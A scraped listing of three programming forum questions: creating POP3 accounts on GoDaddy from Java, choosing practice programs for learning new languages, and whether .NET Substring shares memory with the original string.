    I am able to send and receive emails from my JSPs and associated Java code using the Java Mail API (javax.mail.*). Now I would like to create a new POP3 email account programmatically when a user registers for my site. I've found surprisingly little information about this with web searches. I would think it would be a somewhat common problem. It appears that the Java Mail API does not provide any assistance in this area. I have many email accounts available under my godaddy account, and to manually create an account, I just go to the godaddy email control panel, click Add, and specify the email address and password. This is exactly what I would like to do via a Java program. Any ideas?

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  • What programs should I write to truly experience this fancy new language ?

    - by privatehuff
    Tried Scheme at one point, just built up half of a "math" and "string" library before getting bored... Similar experience with Java, but stopped early because I was appalled at the lack of operator overloading. When you try out a new language, is there a program/game/function/exercise/problem that you use to get into the hot meaty center and really EXPERIENCE the language? I've been wanted to try Python, Ruby, some lisps, etc but can't seem to find any meaningful work to do with them, or any reason to use them for anything over languages I already know. Sorry this is a discussion, but you are EXACTLY the people I want to get input from on this

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  • When getting substring in .Net, does the new string reference the same original string data or does

    - by Elan
    Assuming I have the following strings: string str1 = "Hello World!"; string str2 = str1.SubString(6, 5); // "World" I am hoping that in the above example str2 does not copy "World", but simply ends up being a new string that points to the same memory space only that it starts with an offset of 6 and a length of 5. In actuality I am dealing with some potentially very long strings and am interested in how this works behind the scenes for performance reasons. I am not familiar enaugh with IL to look into this.

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